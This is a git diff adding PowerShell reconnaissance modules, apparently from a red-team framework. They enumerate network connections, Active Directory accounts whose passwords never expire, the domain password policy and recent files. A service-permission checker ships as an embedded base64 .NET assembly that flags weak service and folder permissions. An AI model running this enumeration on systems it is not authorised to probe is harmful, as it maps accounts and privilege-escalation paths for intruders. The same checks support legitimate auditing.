+ + if($localAddress -eq "127.0.0.1" -or $localAddress -eq "0.0.0.0"){ + $localAddress = $Computer + } + elseif($localAddress -match "\w"){ + #check with dns cache first + if($dnsCache.containskey($localAddress)){ + $localAddress = $dnsCache[$localAddress] + write-verbose "using cached LOCAL '$localAddress'" + } + else{ + #if address isn't in the cache, resolve it and add it + $tmpAddress = $localAddress + $localAddress = [System.Net.DNS]::GetHostByAddress("$localAddress").hostname + $dnsCache.add($localAddress, $tmpAddress) + write-verbose "using non cached LOCAL '$localAddress'`t'$tmpAddress'" + } + } + } + catch{ } + } + + #Write the object + New-Object -TypeName PSObject -Property @{ + ComputerName = $Computer + PID = $procId + ProcessName = $procName + Protocol = $proto + LocalAddress = $localAddress + LocalPort = $localPort + RemoteAddress =$remoteAddress + RemotePort = $remotePort + State = $status + } | Select-Object -Property $properties + + #Increment the progress counter + $count++ + } + } + } + } +} \ No newline at end of file diff --git a/Modules/Get-PassNotExp.ps1 b/Modules/Get-PassNotExp.ps1 new file mode 100644 index 0000000..3047531 --- /dev/null +++ b/Modules/Get-PassNotExp.ps1 @@ -0,0 +1,24 @@ +<# +.Synopsis + Identify accounts with passwords set not to expire +.DESCRIPTION + Searches Active Directory for user accounts the have the flag set to allow the password never to expire +.EXAMPLE + PS C:\> Pass-NotExp +#> +function Get-PassNotExp +{ +$strFilter = '(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=65536))' +$objDomain = New-Object System.DirectoryServices.DirectoryEntry +$objSearcher = New-Object System.DirectoryServices.DirectorySearcher +$objSearcher.SearchRoot = $objDomain +$objSearcher.PageSize = 1000 +$objSearcher.Filter = $strFilter +$colProplist = 'name' +Write-Output 'Users with Password set NOT to Expire' +Write-Output '=====================================' +foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} +$colResults = $objSearcher.FindAll() +foreach ($objResult in $colResults) + {$objItem = $objResult.Properties; $objItem.name} +} \ No newline at end of file diff --git a/Modules/Get-PassPol.ps1 b/Modules/Get-PassPol.ps1 new file mode 100644 index 0000000..ecb381d --- /dev/null +++ b/Modules/Get-PassPol.ps1 @@ -0,0 +1,25 @@ +<# +.Synopsis + Retrives the default active directory password policy +.DESCRIPTION + Retrives the default active directory password policy +.EXAMPLE + PS C:\> Pass-Pol + Output the default domain password policy +#> +function Get-PassPol +{ + $domain = [ADSI]"WinNT://$env:userdomain" + $Name = @{Name='DomainName';Expression={$_.Name}} + $MinPassLen = @{Name='Minimum Password Length (Chars)';Expression={$_.MinPasswordLength}} + $MinPassAge = @{Name='Minimum Password Age (Days)';Expression={$_.MinPasswordAge.value/86400}} + $MaxPassAge = @{Name='Maximum Password Age (Days)';Expression={$_.MaxPasswordAge.value/86400}} + $PassHistory = @{Name='Enforce Password History (Passwords remembered)';Expression={$_.PasswordHistoryLength}} + $AcctLockoutThreshold = @{Name='Account Lockout Threshold (Invalid logon attempts)';Expression={$_.MaxBadPasswordsAllowed}} + $AcctLockoutDuration = @{Name='Account Lockout Duration (Minutes)';Expression={if ($_.AutoUnlockInterval.value -eq -1) {'Account is locked out until administrator unlocks it.'} else {$_.AutoUnlockInterval.value/60}}} + $ResetAcctLockoutCounter = @{Name='Reset Account Lockout Counter After (Minutes)';Expression={$_.LockoutObservationInterval.value/60}} + $domain | Select-Object $Name,$MinPassLen,$MinPassAge,$MaxPassAge,$PassHistory,$AcctLockoutThreshold,$AcctLockoutDuration,$ResetAcctLockoutCounter +} +$PassPol = Get-PassPol +Write-Output 'Domain Password Policy: ' +Write-Output $PassPol diff --git a/Modules/Get-RecentFiles.ps1 b/Modules/Get-RecentFiles.ps1 new file mode 100644 index 0000000..1ed6cd4 --- /dev/null +++ b/Modules/Get-RecentFiles.ps1 @@ -0,0 +1,22 @@ +Function Get-RecentFiles { + $obj = New-Object -ComObject WScript.Shell + $Path = [System.Environment]::GetFolderPath('Recent') + $files = Get-ChildItem -Path $Path | Sort-Object LastAccessTime | Select-Object -Last 50 + echo "" + echo "[+] Get-RecentFiles" + echo "" + foreach ($file in $files) + { + $extn = [IO.Path]::GetExtension($file) + if ($extn -eq ".lnk" ) + { + try { + $lnk = $file.versioninfo.filename + $lnkfile = $obj.CreateShortcut($lnk).TargetPath + if ($lnkfile) { + echo $lnkfile + } + } catch {} + } + } +} diff --git a/Modules/Get-ServicePerms.ps1 b/Modules/Get-ServicePerms.ps1 new file mode 100644 index 0000000..315d3c0 --- /dev/null +++ b/Modules/Get-ServicePerms.ps1 @@ -0,0 +1,29 @@ +# Service Permission Checker +# Ben Turner @benpturner + +<# +.Synopsis + Service Permission Checker +.DESCRIPTION + Service Permission Checker +.EXAMPLE + PS C:\> Get-ServicePerms -Path C:\temp\ +#> +$sploaded = $null +Function Get-ServicePerms { + +if ($sploaded -ne "TRUE") { + $script:sploaded = "TRUE" + echo "Loading Assembly" + $i = "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bmNlAERhdGFUYWJsZQB0YXJnZXRUYWJsZQBJRGlzcG9zYWJsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBGaWxlAENvbnNvbGUAQXV0aG9yaXphdGlvblJ1bGUARmlsZVN5c3RlbUFjY2Vzc1J1bGUAZ2V0X0Z1bGxOYW1lAGdldF9Db2x1bW5OYW1lAEdldEhvc3ROYW1lAFdyaXRlTGluZQBnZXRfQWNjZXNzQ29udHJvbFR5cGUAQ2FwdHVyZQBJbnRlcm5hbERhdGFDb2xsZWN0aW9uQmFzZQBSZWFkT25seUNvbGxlY3Rpb25CYXNlAERpc3Bvc2UAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBnZXRfVmFsdWUAZ2V0X0NhblBhdXNlQW5kQ29udGludWUAVG9TdHJpbmcATWF0Y2gAU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbABHZXQtU2VydmljZVBlcm1zLmRsbABDb252ZXJ0RGF0YVRhYmxlVG9IdG1sAFN5c3RlbS5TZWN1cml0eS5BY2Nlc3NDb250cm9sAGdldF9JdGVtAFN5c3RlbQBCb29sZWFuAERhdGFDb2x1bW4AU3lzdGVtLlJlZmxlY3Rpb24ARGF0YVRhYmxlQ29sbGVjdGlvbgBBdXRob3JpemF0aW9uUnVsZUNvbGxlY3Rpb24ARGF0YUNvbHVtbkNvbGxlY3Rpb24AR3JvdXBDb2xsZWN0aW9uAE1hbmFnZW1lbnRPYmplY3RDb2xsZWN0aW9uAERhdGFSb3dDb2xsZWN0aW9uAEFyZ3VtZW50TnVsbEV4Y2VwdGlvbgBnZXRfQ2FuU2h1dGRvd24ARmlsZUluZm8ARmlsZVN5c3RlbUluZm8ARGlyZWN0b3J5SW5mbwBnZXRfQ2FuU3RvcABHcm91cABTdHJpbmdCdWlsZGVyAE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlcgBTZXJ2aWNlQ29udHJvbGxlcgBUb0xvd2VyAElFbnVtZXJhdG9yAE1hbmFnZW1lbnRPYmplY3RFbnVtZXJhdG9yAEdldEVudW1lcmF0b3IALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAGRzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAGR1bXBzZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBnZXRfVGFibGVzAEdldEFjY2Vzc1J1bGVzAEdldC1TZXJ2aWNlUGVybXMAZHVtcGZvbGRlcnBlcm1zAERucwBDb250YWlucwBnZXRfQ29sdW1ucwBTeXN0ZW0uVGV4dC5SZWd1bGFyRXhwcmVzc2lvbnMAQWNjZXNzQ29udHJvbFNlY3Rpb25zAFN5c3RlbS5Db2xsZWN0aW9ucwBSZWdleE9wdGlvbnMAZ2V0X0dyb3VwcwBnZXRfU3VjY2VzcwBTeXN0ZW0uU2VydmljZVByb2Nlc3MAZ2V0X0ZpbGVTeXN0ZW1SaWdodHMAZ2V0X1N0YXR1cwBTZXJ2aWNlQ29udHJvbGxlclN0YXR1cwBnZXRfUm93cwBDb25jYXQATWFuYWdlbWVudEJhc2VPYmplY3QATWFuYWdlbWVudE9iamVjdABHZXQAU3lzdGVtLk5ldABEYXRhU2V0AFN5c3RlbS5NYW5hZ2VtZW50AGdldF9QYXJlbnQAZ2V0X0N1cnJlbnQATlRBY2NvdW50AGZvbGRlcmxpc3QATW92ZU5leHQAU3lzdGVtLlRleHQAV3JpdGVBbGxUZXh0AERhdGFSb3cAUmVnZXgAT2JqZWN0UXVlcnkAZ2V0X0RpcmVjdG9yeQBvcF9FcXVhbGl0eQBGaWxlU2VjdXJpdHkAQ29tbW9uT2JqZWN0U2VjdXJpdHkAAA9mAG8AbABkAGUAcgBzAAANRgBvAGwAZABlAHIAABdQAGUAcgBtAGkAcwBzAGkAbwBuAHMAAAEAAyAAAAtVAHMAZQByAHMAAA1NAG8AZABpAGYAeQAAOzwAYgA+ADwAZABpAHYAIABzAHQAeQBsAGUAPQAiAGMAbwBsAG8AcgA6AHIAZQBkADsAIgA+ACoAKgAAFTwALwBkAGkAdgA+ADwALwBiAD4AABdGAHUAbABsAEMAbwBuAHQAcgBvAGwAABFFAHYAZQByAHkAbwBuAGUAAAsgADwAYgByAD4AABFzAGUAcgB2AGkAYwBlAHMAACdDADoAXABUAGUAbQBwAFwAUgBlAHAAbwByAHQALgBoAHQAbQBsAAAZUwBlAHIAdgBpAGMAZQAgAE4AYQBtAGUAABFVAG4AcQB1AG8AdABlAGQAABNJAG0AYQBnAGUAUABhAHQAaAAAJ1MAZQByAHYAaQBjAGUAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AADdTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAVwBpAG4AMwAyAF8AUwBlAHIAdgBpAGMAZQAAEVAAYQB0AGgATgBhAG0AZQAAFV4AKAAuACsAPwApAC4AZQB4AGUAAAkuAGUAeABlAAADIgAAFVUAbgBxAHUAbwB0AGUAZAAqACoAAAtGAGEAbABzAGUAACFQAGEAdABoACAAbgBvAHQAIABmAG8AdQBuAGQAOgAgAAADCgAAKV4AKAAuACoAWwBcAFwAXAAvAF0AKQBbAF4AXABcAFwALwBdACoAJAAACU4AYQBtAGUAADE8AGIAcgA+AEMAYQBuAFAAYQB1AHMAZQBBAG4AZABDAG8AbgB0AGkAbgB1AGUAOgAAGzwAYgByAD4AQwBhAG4AUwB0AGEAcgB0ADoAACE8AGIAcgA+AEMAYQBuAFMAaAB1AHQAZABvAHcAbgA6AAALRQByAHIAbwByAAAXRABpAHMAcABsAGEAeQBOAGEAbQBlAAAFIAAoAAADKQAAF3QAYQByAGcAZQB0AFQAYQBiAGwAZQAADTwAaAB0AG0AbAA+AAANPABoAGUAYQBkAD4AAA88AHQAaQB0AGwAZQA+AAALUABhAGcAZQAtAAERPAAvAHQAaQB0AGwAZQA+AAAPPAAvAGgAZQBhAGQAPgAADTwAYgBvAGQAeQA+AACAoTwAaAAx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